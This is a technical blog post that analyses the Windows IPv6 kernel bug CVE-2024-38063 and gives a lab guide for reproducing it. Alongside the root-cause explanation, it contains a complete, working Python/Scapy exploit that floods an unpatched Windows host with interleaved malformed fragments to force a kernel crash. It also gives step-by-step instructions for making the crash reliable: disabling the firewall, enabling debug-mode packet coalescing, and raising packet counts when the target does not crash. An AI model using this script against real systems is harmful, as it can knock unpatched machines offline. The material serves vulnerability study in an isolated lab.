Post cover image

September 6, 2026

Demystifying CVE-2024-38063: Root Cause Analysis, Code Execution, and Lab Setup Guide

A comprehensive technical deep dive into the Windows TCP/IP IPv6 RCE bug, featuring root cause analysis and a complete lab setup guide.

By Mayank kumar

21 min read

By Hiba, Mayank, and Suryaprakash

Understanding what a CVE actually means

The Simple Definition

CVE stands for Common Vulnerabilities and Exposures. A dictionary of publicly disclosed cybersecurity flaws and software or hardware weaknesses. Every publicly known security bug gets its own unique ID number so everyone can talk about it clearly.

CVE-YEAR-NUMBER
  │      │
  │      └── The unique serial number for this specific bug
  └────────── The year the bug was discovered/reported

Example: CVE-2024-38063 means: 2024 = Discovered/reported in 2024 38063 = The 38063rd CVE assigned that year

Who Assigns CVEs ?

The MITRE Corporation (a non-profit US research organization) maintains the master list. They don't fix bugs. They just give them ID numbers so security teams can track them.

What Information Does a CVE Record Include ?

  1. The unique ID number
  2. A description of the vulnerability
  3. References to patches/fixes
  4. The date it was discovered
  5. The date it was made public
  6. The severity score (CVSS)

About CVE-2024–38063

The Executive Summary

  • Aspect: Full Name Detail: CVE-2024–38063
  • Aspect: Nickname Detail: "The IPv6 Kernel Killer"
  • Aspect: Severity Detail: CRITICAL (9.8 out of 10)
  • Aspect: Type Detail: Remote Code Execution (RCE)
  • Aspect: Location Detail: Windows TCP/IP Stack (tcpip.sys)
  • Aspect: Patch Date Detail: August 2024 (Microsoft Patch Tuesday)
  • Aspect: Discovered By Detail: ZeQiao Wu (NSFOCUS TIANQI LAB)

Why It's Special (The "Holy Grail" of Bugs)

1. No Authentication Required

This is the most dangerous type of vulnerability. The attacker does NOT need:

  • A username or password
  • To be logged in
  • To click on anything
  • To open any file
  • Any special permissions

The attacker only needs to send network packets to your computer.

2. No User Interaction

The victim does NOT need to:

  • Click a malicious link
  • Open an email attachment
  • Visit a malicious website
  • Install any software
  • Even be at their computer

The attack happens silently in the background.

3. Wormable

This is the most feared property of a vulnerability. A worm is a type of malware that can automatically spread from computer to computer without human help.

The Wormable Chain:

1. Attacker exploits CVE-2024-38063 on Computer A
2. Computer A is now controlled by the attacker
3. From Computer A, the attacker scans for Computer B
4. Computer B is also vulnerable
5. The attacker sends the malicious packet to Computer B
6. Computer B is now exploited
7. This repeats endlessly

Historical Examples of Wormable Bugs:

  • EternalBlue (CVE-2017–0144) → Caused the WannaCry ransomware that shut down hospitals worldwide
  • CVE-2024–38063 could be just as dangerous if weaponized

4. IPv6 is Enabled by Default

Even if you don't use IPv6 on your network, Windows enables it by default. This means:

  • Every modern Windows computer is potentially vulnerable
  • Even computers behind firewalls can be attacked from within the local network
  • Link-local addresses (fe80::/10) are always active

5. It's a Kernel Vulnerability

The bug is in the kernel (the core of the operating system).

  • User-Mode (Ring 3): Your apps run here Kernel-Mode (Ring 0): The core OS runs here
  • User-Mode (Ring 3): Limited permissions Kernel-Mode (Ring 0): Full system access
  • User-Mode (Ring 3): Crash = Just the app dies Kernel-Mode (Ring 0): Crash = The whole computer crashes
  • User-Mode (Ring 3): Exploit = Limited control Kernel-Mode (Ring 0): Exploit = Full control over your computer

If an attacker exploits a kernel bug, they own your entire machine.

6. Complex Attack Vector

Despite being wormable, exploiting this bug requires skill:

  • It's a race condition (timing-based)
  • The attacker must win a "race" between two parts of the operating system
  • Requires sending packets at very specific times
  • Not a simple "one-packet" exploit

The Severity Score Explained (CVSS 9.8)

The Common Vulnerability Scoring System (CVSS) rates bugs from 0–10:

  • Score: 0.0–3.9 Severity: Low Meaning: Minor issue, unlikely to be exploited
  • Score: 4.0–6.9 Severity: Medium Meaning: Could be exploited, but requires conditions
  • Score: 7.0–8.9 Severity: High Meaning: Likely to be exploited, patch soon
  • Score: 9.0–10.0 Severity: Critical Meaning: Immediate patch required

9.8 means it's almost the worst possible bug.

What is IPv6 ?

The Problem IPv6 Solves

The internet uses IP addresses to identify computers (like street addresses for houses).

IPv4 (the old system) has about 4.3 billion addresses. In the 1980s, that seemed like enough. But now:

  • Every smartphone needs an address
  • Every laptop needs an address
  • Every smart TV needs an address
  • Every IoT device needs an address
  • Every server needs an address

We ran out of IPv4 addresses in 2011.

IPv6 is the Solution

IPv6 has 340 undecillion addresses (that's a number with 38 zeros).

IPv4 Address:  192.168.1.1          (4 numbers, 4 billion total)
IPv6 Address:  2001:0db8:85a3::8a2e:0370:7334  (128 bits, huge number)

How IPv6 is Different (Important!)

  • Feature: Address Size IPv4: 32 bits IPv6: 128 bits
  • Feature: Total Addresses IPv4: 4.3 billion IPv6: 340 undecillion
  • Feature: Header Complexity IPv4: Simple IPv6: Has "Extension Headers"
  • Feature: Fragmentation IPv4: Routers can fragment IPv6: Only the sender can fragment
  • Feature: Security IPv4: Optional (IPsec) IPv6: Built-in (but optional to use)
  • Feature: Enabled by Default IPv4: Yes IPv6: Yes (on Windows)

How IPv6 Relates to CVE-2024–38063

The Vulnerable Component: Extension Headers

IPv6 packets have a main header, but they can also have extra "extension headers" that provide additional instructions.

Normal IPv6 Packet:
┌─────────────────────────────────────────────┐
│ IPv6 Main Header                            │
├─────────────────────────────────────────────┤
│ Extension Header 1 (e.g., Routing)          │
├─────────────────────────────────────────────┤
│ Extension Header 2 (e.g., Fragment)         │
├─────────────────────────────────────────────┤
│ Your Actual Data (e.g., a website request)  │
└─────────────────────────────────────────────┘

The Vulnerable Code: Processing Extension Headers

When Windows receives an IPv6 packet, it must:

  1. Read the main header
  2. Read the first extension header
  3. Read the next extension header
  4. Continue until it finds the actual data

The bug: During this reading process, Windows gets confused about how big the headers are.

The Technical Chain

1. Attacker sends IPv6 packet with many extension headers
2. Windows starts processing them (normal)
3. While processing, Windows checks the length of a header (safe)
4. Before Windows can use that length, another part of Windows changes it
5. Windows now has the wrong length (INTEGER UNDERFLOW)
6. Windows writes data beyond the allocated memory (OUT-OF-BOUNDS WRITE)
7. This corrupts memory
8. Attacker can control what gets corrupted
9. Attacker uses this to run their code

Terminologies Explained Simply

Core Security Terms

  • Term: Vulnerability Technical Definition: A weakness in system design or code that allows unintended behavior
  • Term: Exploit Technical Definition: A program or technique that uses a vulnerability to cause damage
  • Term: Payload Technical Definition: The actual harmful code delivered after successful exploitation
  • Term: Zero-Day Technical Definition: A bug that the vendor doesn't know about yet; no fix exists
  • Term: Patch Technical Definition: Updated code that fixes the vulnerability

Technical Terms for CVE-2024–38063

  • Term: Remote Code Execution (RCE) Simple Explanation: Attacker can run code on your computer from anywhere How It Applies Here: The worst outcome; attacker gets full control
  • Term: Kernel Simple Explanation: The core boss of the operating system How It Applies Here: The bug is in the kernel; attacker gets full system access
  • Term: Race Condition Simple Explanation: Two processes trying to use the same resource at the same time How It Applies Here: Two parts of Windows try to read the packet header simultaneously
  • Term: Integer Underflow Simple Explanation: Math goes wrong; number becomes massive How It Applies Here: The header length becomes huge, causing memory problems
  • Term: Out-of-Bounds (OOB) Write Simple Explanation: Writing data where it shouldn't be How It Applies Here: Windows writes beyond its allocated memory, corrupting other data
  • Term: TCP/IP Stack Simple Explanation: The software that handles internet traffic How It Applies Here: The vulnerable software is the IPv6 part of the stack
  • Term: Wormable Simple Explanation: Can spread automatically between computers How It Applies Here: The attacker can chain-exploit multiple machines
  • Term: TLS Simple Explanation: Encrypted communication protocol How It Applies Here: Not relevant; the bug is before encryption

Windows-Specific Terms

  • Term: tcpip.sys Simple Explanation: The Windows driver file that handles internet traffic Details: The vulnerable file; located in C:\Windows\System32\drivers\
  • Term: Kernel-Mode Simple Explanation: The most privileged part of Windows Details: All kernel drivers run here; bugs here are critical
  • Term: User-Mode Simple Explanation: Where normal programs run Details: Apps run here with limited permissions
  • Term: BSOD (Blue Screen of Death) Simple Explanation: Windows crash screen Details: Exploitation attempts often cause these before they succeed
  • Term: Patch Tuesday Simple Explanation: Microsoft's monthly update day Details: Second Tuesday of every month; August 2024 had this patch

Exploit Difficulty

  • Aspect: Identifying Vulnerable Systems Difficulty: Easy (IPv6 is enabled by default)
  • Aspect: Crafting the Malicious Packet Difficulty: Moderate (requires understanding of IPv6 headers)
  • Aspect: Winning the Race Condition Difficulty: Hard (requires precise timing, many attempts)
  • Aspect: Bypassing ASLR/DEP Difficulty: Hard (modern Windows has memory protections)
  • Aspect: Achieving Reliable RCE Difficulty: Very Hard (requires knowledge of memory layout)
  • Aspect: Scaling to Wormable Exploit Difficulty: Very Hard (but possible)

Why Hasn't It Been Mass-Exploited Yet ?

  1. Race conditions are hard to reliably exploit
  2. Memory protections (ASLR, DEP) make it harder
  3. It was only patched in August 2024 (recent)
  4. PoC (Proof of Concept) code exists but is not public
  5. Private security researchers discovered it, not criminal hackers (yet)

The Patch and Consequences

What is a Patch?

  • Term: Patch Explanation: A small piece of code that fixes a vulnerability
  • Term: Cumulative Update (CU) Explanation: A package containing many patches together
  • Term: Patch Tuesday Explanation: Microsoft's monthly update day
  • Term: Security Update Explanation: A patch specifically for security vulnerabilities

The Specific Patch for CVE-2024–38063

Patch Details

  • Aspect: Release Date Detail: August 13, 2024 (Patch Tuesday)
  • Aspect: Update Name Detail: August 2024 Cumulative Update
  • Aspect: KB Number (Win11) Detail: KB5041580
  • Aspect: KB Number (Win10) Detail: KB5041583
  • Aspect: KB Number (Server 2022) Detail: KB5041581
  • Aspect: KB Number (Server 2019) Detail: KB5041579

What the Patch Does

The patch fixes the race condition in tcpip.sys:

  • Before: Two threads could access the same memory simultaneously
  • After: Proper locking prevents concurrent access
  • Result: The integer underflow and OOB write can no longer occur

CVE-2024–38063: Vulnerability Analysis Report

1. Understanding Fragmentation and Destination Extension Headers (The Trigger Components)

To understand how this vulnerability is triggered, we must first look at the combination of headers required to exploit it.

The Fragmentation Header: Because different network links have different size limits (the Maximum Transmission Unit, or MTU), large packets must be chopped into smaller pieces before they are sent over the wire. In IPv4, routers could chop up packets in transit. In IPv6, this job is strictly the responsibility of the sender.

If a sender needs to transmit a massive block of data, it uses an IPv6 Fragment Header (nh=44). When the destination computer receives these fragments, its operating system kernel must temporarily hold them in a memory buffer. It uses four pieces of information to know which pieces belong together:

  • Source IP Address
  • Destination IP Address
  • Fragment Identification Number (ID)
  • Offset
  • M-Flag (m=1 means more packets are coming; m=0 means this is the final packet).

The kernel waits until all the pieces (from offset 0 up to the final piece marked with m=0) arrive. Only then does it glue the payload back together and pass it up to the application.

The Destination Options Header (nh=60): This header is designed to carry special parameters that only the final destination computer is supposed to process. To do this efficiently, it uses a flexible format called Type-Length-Value (TLV), which breaks each piece of information down into two core components:

  1. The Option Type (OType): This acts as a label. It is 1 byte (8 bits) long and tells the receiving computer exactly what the instruction is. It also provides safety instructions: if the final computer is older and does not recognize the option, the first few bits of the OType code give it strict, automatic instructions on what to do next (such as safely ignoring the option, silently destroying the packet, or sending an error message back to the sender). Note: We will use this specific mechanism to trigger the bug.
  2. The Option Data (OptData): This is the actual message or payload itself. Because different instructions require different amounts of information, the size of this field can change. It is always paired with a "Length" indicator so the computer knows exactly where the data starts and ends.

2. Packet Journey and Bug Trigger Mechanics

To understand how the vulnerability is triggered, we must track the packet from the moment it enters the machine to the moment the math breaks down inside the Windows kernel (specifically inside tcpip.sys).

From Wire to Windows: The NBL When electrical signals arrive at the Network Interface Card (NIC), the hardware converts them into raw data. However, the Windows TCP/IP driver (tcpip.sys) does not read this data one packet at a time; that would be too slow.

Instead, Windows uses the Network Driver Interface Specification (NDIS). NDIS groups incoming packets into memory structures called NET_BUFFERs (NB). To process them efficiently in batches, it chains these buffers together into a NET_BUFFER_LIST (NBL).

Crucial Note:_ This NBL plays a critical role in triggering the vulnerability. The corrupted packets must be sent within a very short time window so they are batched into the same NBL and processed together. If there is a slight time delay between the packets, the kernel will process them individually and drop them due to their invalid structure._

Processing of Packets When tcpip.sys receives the NBL, it begins inspecting the IPv6 headers. The function responsible for reading extension headers is Ipv6pProcessOptions.

If an attacker intentionally sends a packet with a Destination Options header containing an invalid option type — specifically, an option type value greater than 0x80—the IPv6 standard requires the receiving computer to drop the packet and immediately send an ICMPv6 "Parameter Problem" error message back to the sender.

To send this error, the kernel passes the NBL chain to an error-handling function called IppSendErrorList. Normally, invalid packets are discarded. However, IppSendErrorList is designed to loop through the entire NBL chain. When it processes the first packet and generates the error, a specific internal flag (acting like an always_send_icmp or force-process flag) is set.

As the loop moves to the second and subsequent packets in the NBL, the function's logic fails to reset properly. Because of the forced flag, the function misinterprets the memory layout of the subsequent packets. It incorrectly alters the NET_BUFFER structure, setting up internal pointers the wrong way and effectively setting the packet's DataLength and Offset to zero.

Why is the packet not getting dropped? Logically, a packet with a zero size should be dropped instantly. However, these packets are trapped inside a single NBL chain being processed by an error-handling loop. Because the fragment header signals that the packet is incomplete, the kernel does not drop it.

Instead of freeing the memory, the kernel assumes it is just a fragment waiting for its missing pieces. It moves this corrupted, zero-length packet descriptor into the IPv6 reassembly buffer, keeping it alive in the system's memory.

3. The Integer Underflow

Now, the corrupted packet sits in the reassembly queue. Eventually, the kernel calls Ipv6pReceiveFragment to process it.

This function needs to calculate exactly how much payload data is inside the fragment. To do this, it takes the total length of the packet and subtracts the size of the IPv6 headers.

Because IppSendErrorList corrupted the DataLength to 0, the math becomes:

Payload Length = 0 — Header Size

Since the payload length is stored as an unsigned integer (which can only hold positive values), subtracting a number from zero causes it to underflow. It wraps completely around to the maximum possible value, meaning the Payload Length is now calculated to be nearly 4 billion bytes.

4. The Fatal Mismatch and System Crash (BSOD)

A critical discrepancy exists in how the kernel calculates the memory required for allocation versus the memory required for copying the data.

For the initial memory allocation, the size calculation is stored in a 16-bit unsigned integer. Because a 16-bit integer can only hold a maximum value of 65,535, any calculation that exceeds this limit causes an integer overflow, rolling the value back to zero or a severely truncated small number. As a result, the kernel allocates a tiny memory buffer on the heap.

However, during the actual copying process, the kernel relies on memory functions such as RtlCopyMemory or memmove. The fatal flaw occurs here: the copy function uses the original, massive, underflowed "Payload Length" (from the 32-bit/64-bit register) as its size parameter. It does not check if this massive size actually fits inside the newly created 16-bit buffer.

Because the calculated payload size is enormous, the copy function writes the fragmented packet data far past the boundaries of the tiny allocated buffer. This spills over and overwrites adjacent, critical memory addresses in the kernel pool. This severe memory corruption immediately destabilizes the operating system, resulting in a Blue Screen of Death (BSOD).

Note: The root cause of the memory overwrite is that the copying functions are instructed to copy the vast sizeof(payload) instead of being strictly restricted by the actual sizeof(allocated_buffer).

5. A Note on Total Access Control (RCE)

While this memory corruption natively causes a BSOD, a highly skilled attacker can manipulate this overwrite. By carefully structuring the data inside their fragmented packets, the attacker ensures that the "spillover" perfectly overwrites specific, executable function pointers in the adjacent kernel memory. Instead of crashing the system, the kernel is tricked into executing the attacker's embedded data as trusted code, leading to Remote Code Execution (RCE) and total system compromise.

Data Flow Diagram

[ Attacker Sends Flood of Crafted IPv6 Fragments ]
                         |
                         v
[ NIC (Hardware) ] --> Receives raw electrical signals.
                         |
                         v
[ NDIS Driver ] -----> Batches packets into a single NET_BUFFER_LIST (NBL).
                         |
                         v
[ tcpip.sys ] -------> Ipv6pProcessOptions reads the Destination Options.
                         |
                         v
[ Detects Bad Option ]-> Finds OType > 0x80. Prepares ICMP Error.
                         |
                         v
[ IppSendErrorList ] --> Loops through the batched NBL.
                         (BUG TRIGGERED: Sets always_send_icmp flag).
                         |
                         v
[ Data Corruption ] ---> Subsequent packets in NBL get DataLength = 0.
                         |
                         v
[ Fragment Queue ] ----> Corrupted zero-length packets held in memory
                         due to Fragment Headers.
                         |
                         v
[ Ipv6pReceiveFragment]-> Calculates Payload Size: (0 - Header Size).
                         (MATH FAILURE: Integer Underflow -> ~4GB Payload).
                         |
                         v
[ Memory Allocation ] -> 16-bit calculation truncates. Allocates TINY buffer.
                         |
                         v
[ RtlCopyMemory ] -----> Copies ~4GB of payload into the TINY buffer.
                         |
                         v
[ HEAP OVERFLOW ] -----> Data spills into adjacent kernel pool memory.
                         |
            +------------+------------+
            |                         |
            v                         v
     [ CRASH (BSOD) ]          [ RCE (Access Control) ]
  (Random Memory Overwrite)  (Precise Pointer Overwrite)

This section breaks down the Python/Scapy script designed to simulate the conditions required to trigger the CVE-2024–38063 vulnerability. The script systematically constructs the "poisoned" extension headers and floods the target with interleaved fragments to force the kernel into the vulnerable IppSendErrorList loop.

1. Initialization and Setup

from scapy.all import IPv6, IPv6ExtHdrDestOpt, IPv6ExtHdrFragment, TCP, Raw, send, PadN
des_ip_adress = "2001:db8::10"
source_ip_adress = "2001:db8::20"
chunk_size = 64
Id = 45632
Next_Offset = chunk_size // 8
Offset = 0
raw_data = b"A" * chunk_size

The script initializes the standard parameters for an IPv6 fragmentation chain.

Key Components:

  • Parameter Initialization: The script sets up the foundational IP variables and data structures required to build an IPv6 packet sequence.
  • Offset Alignment: The chunk_size is strictly set to 64 bytes to ensure perfectly aligned 8-byte boundaries for the fragmentation offsets (Next_Offset = 8).
  • Reassembly Target: A static Id (45632) is used so the target's operating system groups all subsequent fragments into the exact same memory reassembly buffer.

2. Crafting the "Poisoned" Destination Option

invalid_packet = (IPv6(fl=1, src=source_ip_adress, dst=des_ip_adress) /
                  IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]))

This is the most critical packet in the exploit chain.

Key Components:

  • Invalid Option Type: It utilizes a Destination Options header containing an invalid option type (otype=0x81).
  • Error Trigger: Because 0x81 is greater than 0x80, it forces the receiving Windows kernel to generate an ICMPv6 "Parameter Problem" error.
  • Flow Label Uniformity: The fl=1 (Flow Label) is used here to help ensure the network stack treats this stream of packets uniformly.

3. Creating the Unfragmentable Base (Fragment 0)

total_packets = 9000
list1 = []
list1.append(invalid_packet)
tcp = TCP(sport=1234, dport=80, flags="S")
payload = Raw(bytes(tcp), load=b"A"*36)
pkt2_initial = (IPv6(fl=1, src=source_ip_adress, dst=des_ip_adress) /
                IPv6ExtHdrFragment(offset=Offset, id=Id, m=1, nh=6) /
                payload)
list1.append(pkt2_initial)
Offset = 8

The script prepares the initial fragmentation state and the container structure.

Key Components:

  • Packet Accumulation: The script starts building a massive list (list1) to hold all packets before sending them simultaneously.
  • Error Trigger Placement: It first appends the invalid_packet to initiate the error-handling state.
  • Initial Fragment Setup: It then constructs the initial fragment (pkt2_initial).
  • Payload Stabilization: By converting the TCP header to raw bytes (bytes(tcp)) and appending 36 bytes of padding, it guarantees the payload is exactly 64 bytes without Scapy auto-calculating conflicting checksums.
  • Next Header Signalling: The nh=6 signals that the reassembled payload will be TCP.

4. The Fragment Flood and NBL Batching

def packets(offset1):
    pkt2 = (IPv6(fl=1, src=source_ip_adress, dst=des_ip_adress) /
            IPv6ExtHdrFragment(offset=offset1, id=Id, m=1, nh=6) /
            Raw(load=raw_data))
    return pkt2
for i in range(total_packets):
    pkts = packets(Offset)
    list1.append(pkts)
    list1.append(invalid_packet)
    Offset += Next_Offset

This loop acts as the core engine of the exploit, generating 9,000 fragments and systematically structuring the delivery sequence.

Key Components:

  • Interleaved Packet Generation: The loop generates thousands of fragments and dynamically inserts the malformed header, creating an alternating sequence: [Invalid, Frag_0, Frag_1, Invalid, Frag_2, Invalid, Frag_3...].
  • Exploiting NDIS Architecture: This specific structure targets the Windows Network Driver Interface Specification (NDIS) architecture.
  • NET_BUFFER_LIST (NBL) Batching: Blasting this interleaved array forces the network interface card to group these disparate packets into a single NET_BUFFER_LIST batch.
  • Triggering the Logic Flaw: If successful, the IppSendErrorList function encounters the invalid_packet, sets an error flag, and erroneously applies that error state to the subsequent valid fragments in the same batch, zeroing out their DataLength field and causing a kernel crash.

5. Terminating the Chain and Execution

pkt2_final = (IPv6(fl=1, src=source_ip_adress, dst=des_ip_adress) /
              IPv6ExtHdrFragment(offset=Offset, id=Id, m=0, nh=6) /
              Raw(load=raw_data))
list1.append(pkt2_final)
send(list1)
print("All fragments sent successfully!")

This final block concludes the packet generation sequence and initiates the high-velocity transmission.

Key Components:

  • Chain Termination: The script caps the fragmentation chain by setting m=0, signaling to the target's reassembly queue that the final piece of the sequence has arrived.
  • Mass Transmission: The send(list1) function attempts to dump all 18,000+ accumulated packets onto the wire as rapidly as possible to maximize the chances of large NBL batching at the destination.
  • Vulnerability Manifestation: Once the final packet is processed, the corrupted fragment lengths trigger an integer underflow inside Ipv6pReceiveFragment, ultimately resulting in a kernel heap overflow.

Lab Guide: Simulating the CVE-2024–38063 "IPv6 RCE" Vulnerability

A complete beginner-friendly walkthrough for Setting up the lab environment, configuring the target, and executing the script to trigger a Proof-of-Concept (PoC) Blue Screen of Death (BSOD).

It focuses on setup, execution, IP/MAC gathering, script testing, and troubleshooting.

1. Safety Prerequisites

Primary Safety Directive Conduct this entire lab inside a strictly isolated virtual environment.

  • Never use a real production machine or any machine connected to the internet / corporate network.
  • Configure every virtual network adapter to Host-Only or Internal Network mode.
  • Disable any bridged or NAT adapters that could leak packets to the outside world.

Only after you have verified isolation should you continue.

2. Virtual Laboratory Architecture

You need two virtual machines that can talk to each other over IPv6 on an isolated network.

  • Component: Operating System Attacker Machine: Kali Linux (latest recommended) Target Machine: Any unpatched Windows version (Windows 10, Windows 11, Windows Server, etc.) that has not received the August 2024 security update
  • Component: Recommended RAM / CPU Attacker Machine: 2 GB / 2 cores Target Machine: 2 GB / 2 cores
  • Component: Network Mode Attacker Machine: Host-Only or Internal Target Machine: Host-Only or Internal (same network)
  • Component: Key Software Attacker Machine: Python 3 + Scapy Target Machine: IPv6 enabled, Windows Firewall disabled
  • Component: Special Requirement Attacker Machine: – Target Machine: bcdedit /set debug on (forces kdnic.sys for reliable packet coalescing)

Important note about the target Any Windows version that still has IPv6 enabled and has not installed the August 2024 (or later) cumulative update is vulnerable. The PoC works across multiple Windows editions. Enabling kernel debugging (bcdedit /set debug on) is strongly recommended because it switches the network driver to kdnic.sys, which coalesces packets very reliably — the key condition needed for the PoC to succeed consistently.

3. Initial Setup — Creating the Virtual Machines (Beginner Steps)

3.1 Install a Hypervisor

  1. Download and install VMware Workstation Player (free for personal use) or VirtualBox.
  2. Create a new virtual network:
  • VMware → Edit → Virtual Network Editor → Add Network → Host-only.
  • VirtualBox → File → Tools → Network Manager → Create Host-only network.

3.2 Create the Attacker VM (Kali Linux)

  1. Download the official Kali Linux ISO or the pre-built VMware/VirtualBox image from https://www.kali.org/get-kali/.
  2. Create a new VM:
  • Name: Kali-Attacker
  • Memory: 2048 MB
  • Processors: 2
  • Network Adapter: Host-Only / Internal

  1. Install Kali (or import the OVA).

  2. Log in (default credentials are usually kali / kali).

  3. Update the system:

sudo apt update && sudo apt full-upgrade -y

3.3 Create the Target VM (Windows)

  1. Obtain any Windows ISO (Windows 10, Windows 11, Windows Server, etc.) that has not been patched with the August 2024 security update. For legitimate testing you may use Microsoft Evaluation Center images.
  2. Create a new VM:
  • Name: Win-Target
  • Memory: 2048 MB
  • Processors: 2 (start with 1 core if coalescing is difficult)
  • Network Adapter: exactly the same Host-Only / Internal network as Kali
  1. Install Windows and complete the initial setup.

Important: Do not install any Windows updates that contain the August 2024 (or later) cumulative update. The machine must remain vulnerable.

4. Target System Configuration

Boot the Windows target VM and perform the following steps as Administrator.

4.1 Configuring a Custom IPv6 Address on the Target Machine

To test the packet analysis script successfully, the destination target must have the exact IPv6 address referenced in the code (2001:db8::10). Follow these steps to configure a static IPv6 address on a Windows target machine.

⚠️ Important Note: Our script uses the hardcoded destination IP 2001:db8::10. If you assign a different IP address to your target machine, you must update the des_ip_adress variable inside the script to match it.

Step-by-Step Configuration

1. Open Network Connections

  1. Press the Win + R keys simultaneously on your keyboard to open the Run dialog box.
  2. Type ncpa.cpl into the text field.
  3. Click OK or press Enter. This opens the Network Connections control panel window directly.

2. Access Network Adapter Properties

  1. Locate your active network adapter (e.g., Ethernet or Wi-Fi).
  2. Right-click the adapter icon and select Properties from the context menu.
  3. If prompted by User Account Control (UAC), click Yes to grant administrative permissions.

3. Open IPv6 Settings

  1. In the list of items, scroll down and locate Internet Protocol Version 6 (TCP/IPv6).
  2. Click to highlight it, then click the Properties button right below the list.

4. Assign the Static IPv6 Address

  1. In the IPv6 Properties window, change the selection from Obtain an IPv6 address automatically to Use the following IPv6 address.
  2. Enter the following network parameters in the provided fields:
  • IPv6 address: 2001:db8::10
  • Subnet prefix length: 64
  1. Leave the Default gateway and DNS server fields blank unless your local test lab network topology explicitly requires them.

5. Save and Verify

  1. Click OK to close the IPv6 Properties window.
  2. Click Close on the main Network Adapter Properties window to apply the changes.
  3. Open a Command Prompt (cmd) and run the following command to verify the address has been correctly assigned:
ipconfig /all

4.2 Reconfigure the Windows Firewall

  1. Open Control Panel → Windows Firewall → Turn Windows Firewall on or off.
  2. Turn it Off for both Private and Public networks. (The firewall can silently drop the malformed fragments before they reach tcpip.sys.)

OR instead of doing these two steps you can run this command in powershell(run as admin): New-NetFirewallRule -DisplayName "Allow IPv6 Inbound" -Protocol ICMPv6 -Description "Allow all ICMPv6 traffic" -Action Allow

4.3 Force Packet Coalescing (Critical Step)

In an elevated Command Prompt run:

bcdedit /set debug on

Reboot the VM immediately:

shutdown /r /t 0

After reboot the network driver becomes kdnic.sys, which aggressively coalesces packets – exactly what the PoC needs.

Verify the setting (optional):

bcdedit /enum

You should see debug Yes.

5. Attacker Machine Setup (Kali Linux)

5.1 Setting a Custom IPv6 Address on the Attacker (for the Script whose link is attached below )

Our script uses a fixed IPv6 addresses such as 2001:db8::20 for the attacker and 2001:db8::10 for the target. You can force these addresses on Kali using the following Python helper.

Create a small helper file or add this function at the top of your custom script:

import subprocess
def ip_reset():
    Interface = "eth0"                    # Change if your interface is different (check with `ip a`)
    Desired_IP = "2001:db8::20"           # Attacker's source address
    Subnet = "64"
    # Add the IPv6 address to the interface
    subprocess.run(["ip", "-6", "addr", "add", Desired_IP + "/" + Subnet, "dev", Interface])
    # Add a route for the subnet
    subprocess.run(["ip", "-6", "route", "add", Desired_IP + "/" + Subnet, "dev", Interface])
    # (Optional) Add again if needed for some environments
    subprocess.run(["ip", "-6", "addr", "add", Desired_IP + "/" + Subnet, "dev", Interface])
# Call the function
ip_reset()

How to use it

  1. Save the code above into a file named set_custom_ip.py (or paste it at the beginning of your custom script).
  2. Run it with root privileges:
sudo python3 set_custom_ip.py
  1. Verify the address was added:
ip -6 addr show eth0
  1. You should now see 2001:db8::20/64.

Important notes

  • You must run this with sudo because changing IP addresses requires elevated privileges.
  • Replace "eth0" with your actual interface name if different.
  • On the target Windows machine, you may also manually assign 2001:db8::10 (or whatever destination address your script uses) via Network Adapter properties → IPv6 → Use the following IPv6 address.

5.2 Clone the script

git clone https://github.com/Mayank637-pixel/CVE-2024-38063/blob/main/script.py

5.3 Prepare the Custom Script

  1. Copy the provided script to your Kali machine (for example into ~/script.py).
  2. Make sure the addresses inside the script match what you configured:
des_ip_adress = "2001:db8::10"      # Target source_ip_adress = "2001:db8::20"   # Attacker

(Recommended) Add the ip_reset() function at the very top of the script and call it before sending packets if not done already.

ping6 -c 3 <target-ipv6-address>

5.4 Run the Custom Script

sudo python3 custom_cve.py

5.5 What to Expect

  • The script builds a large list of packets (invalid destination-option packets + many fragments) and sends them all at once.
  • After sending, wait approximately 60 seconds. the crash usually occurs when the fragment reassembly timeout expires.
  • Watch the Windows target for a Blue Screen of Death.
None

5.6 Common Adjustments for the provided Script

  • If the target does not crash, try increasing total_packets (currently 9000).
  • Confirm both machines are using the exact IPv6 addresses defined in the script.
  • Make sure Windows Firewall is still disabled and bcdedit /set debug on has been applied + rebooted.
  • You can add a simple countdown after send(list1) to this script:
import time for i in range(60):     print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')     time.sleep(1) print()

6. Troubleshooting Matrix (Common Problems & Fixes)

  • Symptom / Error: No route to host or packets never arrive Likely Cause: No IPv6 route or wrong interface configuration Beginner-Friendly Fix: Run sudo ip -6 route add dev eth0
  • Symptom / Error: Script runs but target never crashes Likely Cause: Packets are not coalescing properly in memory Beginner-Friendly Fix: Confirm bcdedit /set debug on is set + reboot; increase packet counts; or try reducing target CPU cores to 1
  • Symptom / Error: Permission denied / "Operation not permitted" Likely Cause: Missing root/administrator privileges Beginner-Friendly Fix: Always run the Scapy script with sudo
  • Symptom / Error: Windows Firewall still blocking Likely Cause: Firewall profiles are not fully disabled Beginner-Friendly Fix: Turn the firewall off for all profiles (Domain, Private, Public) and reboot
  • Symptom / Error: IPv6 address changes after reboot Likely Cause: Link-local or temporary address regenerated Beginner-Friendly Fix: Re-run ipconfig and update the script, or enforce a static address
  • Symptom / Error: Kali cannot ping the target Likely Cause: Different virtual networks or mismatched addresses Beginner-Friendly Fix: Verify both VMs are on the exact same Host-Only network and use matching IPv6 addresses
  • Symptom / Error: Custom script fails to set IP Likely Cause: Wrong network interface name or missing sudo Beginner-Friendly Fix: Check the active interface name using ip a and always run with sudo
  • Symptom / Error: Target shows "Network cable unplugged" Likely Cause: Virtual network adapter disconnected Beginner-Friendly Fix: Check your hypervisor settings and ensure the virtual network adapter is connected

Extra Verification Tips

  • Validate the Connection: Before running the execution script, always attempt to ping the destination using ping6 or ping -6 to confirm basic IPv6 layer visibility.
  • Monitor with Wireshark: Open a packet analyzer on the target or attacker machine to verify that the interleaved IPv6 fragments are actually reaching the network stack interface.
  • Double-Check Hex Values: Ensure that the option types and header offsets have not been altered or truncated during script conversion, as the vulnerability requires strict protocol alignment.
  • You can use Performance Monitor to check whether your target window is recieving the packets or not.

7. Post-Lab Cleanup & Safety Reminders

  1. Power off both VMs.
  2. Optionally revert the target to a clean snapshot (recommended before every new test).
  3. On the target, if you want to restore normal behaviour:
bcdedit /set debug off

  1. then reboot.

  2. Never move the vulnerable VM to a bridged network or connect it to the internet while it is unpatched.

8. Quick Reference Cheat-Sheet


ipconfig
bcdedit /set debug on
shutdown /r /t 0
sudo python3 script.py
New-NetFirewallRule -DisplayName "Allow IPv6 Inbound" -Protocol ICMPv6 -Description "Allow all ICMPv6 traffic" -Action Allow
